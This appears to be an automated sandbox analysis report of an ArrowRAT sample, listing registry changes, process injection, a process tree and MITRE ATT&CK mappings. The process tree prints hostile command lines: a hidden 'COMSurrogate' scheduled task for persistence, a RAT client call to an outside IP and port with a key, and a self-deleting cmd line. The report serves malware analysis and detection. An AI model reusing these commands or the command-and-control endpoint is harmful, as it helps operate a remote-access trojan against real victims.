arrowrat | 6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	MRH.exe

Loads dropped DLL 1 IoCs

pid	Process
4384	Quoko tace wesa.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\D:	explorer.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2564 set thread context of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 4384 set thread context of 4484	4384	Quoko tace wesa.exe	110
PID 4484 set thread context of 2900	4484	InstallUtil.exe	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2948	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-929662420-1054238289-2961194603-1000\{26460135-AA43-4D36-BE5E-18246578A6E5}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	InstallUtil.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2768	PING.EXE

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4304	MRH.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4384	Quoko tace wesa.exe
4484	InstallUtil.exe
4484	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4484	InstallUtil.exe
Token: SeShutdownPrivilege	2300	explorer.exe
Token: SeCreatePagefilePrivilege	2300	explorer.exe
Token: SeShutdownPrivilege	2300	explorer.exe
Token: SeCreatePagefilePrivilege	2300	explorer.exe
Token: SeShutdownPrivilege	2300	explorer.exe
Token: SeCreatePagefilePrivilege	2300	explorer.exe
Token: SeShutdownPrivilege	2300	explorer.exe
Token: SeCreatePagefilePrivilege	2300	explorer.exe
Token: SeShutdownPrivilege	2300	explorer.exe
Token: SeCreatePagefilePrivilege	2300	explorer.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
1508	AcroRd32.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe
2300	explorer.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
992	InstallUtil.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
1508	AcroRd32.exe
4484	InstallUtil.exe
1812	StartMenuExperienceHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 2564 wrote to memory of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 2564 wrote to memory of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 2564 wrote to memory of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 2564 wrote to memory of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 2564 wrote to memory of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 2564 wrote to memory of 992	2564	6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe	81
PID 992 wrote to memory of 1508	992	InstallUtil.exe	82
PID 992 wrote to memory of 1508	992	InstallUtil.exe	82
PID 992 wrote to memory of 1508	992	InstallUtil.exe	82
PID 1508 wrote to memory of 952	1508	AcroRd32.exe	87
PID 1508 wrote to memory of 952	1508	AcroRd32.exe	87
PID 1508 wrote to memory of 952	1508	AcroRd32.exe	87
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 380	952	RdrCEF.exe	90
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89
PID 952 wrote to memory of 4264	952	RdrCEF.exe	89

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2476

C:\Users\Admin\AppData\Local\Temp\6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe
"C:\Users\Admin\AppData\Local\Temp\6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice.pdf"
    3⤵
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      Suspicious use of WriteProcessMemory
      PID:952
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=9B1B4361A50C21DF25A7FABE68305572 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=9B1B4361A50C21DF25A7FABE68305572 --renderer-client-id=2 --mojo-platform-channel-handle=1756 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:4264
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=788D1D1BBE16AB2A137559086BD50A0F --mojo-platform-channel-handle=1744 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:380
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=281E355ACFE8D4C1AF03FB24F6C059C1 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=281E355ACFE8D4C1AF03FB24F6C059C1 --renderer-client-id=4 --mojo-platform-channel-handle=2324 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:4580
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0A78EE24E75F23A17C9BBAE7AAD8B941 --mojo-platform-channel-handle=2568 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:4948
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5CF4FE0910D7224F29E8FA99DB67877F --mojo-platform-channel-handle=2800 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:3708
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=7A8D0A0C7A05632F707DD1AC5504DB59 --mojo-platform-channel-handle=2772 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:1564
- - C:\Users\Admin\AppData\Local\Temp\MRH.exe
    "C:\Users\Admin\AppData\Local\Temp\MRH.exe" 0
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious behavior: EnumeratesProcesses
    PID:4304
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn COMSurrogate /f /sc onlogon /rl highest /tr "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
      4⤵
      Creates scheduled task(s)
      PID:2948
  - - C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
      "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe" 0
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:4384
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:4588
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:4908
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        
        PID:4056
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4484
      - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        6⤵
        Modifies Installed Components in the registry
        Enumerates connected drives
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2300
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 213.239.219.58 1337 nPxRArUjc
        6⤵
        
        PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\MRH.exe"
      4⤵
      PID:3692
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3392
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        5⤵
        Runs ping.exe
        
        PID:2768
- - C:\Users\Admin\AppData\Local\Temp\ROR.exe
    "C:\Users\Admin\AppData\Local\Temp\ROR.exe" 0
    3⤵
    PID:3084
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:1896
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:4444

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5104

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:1812

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
PID:344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery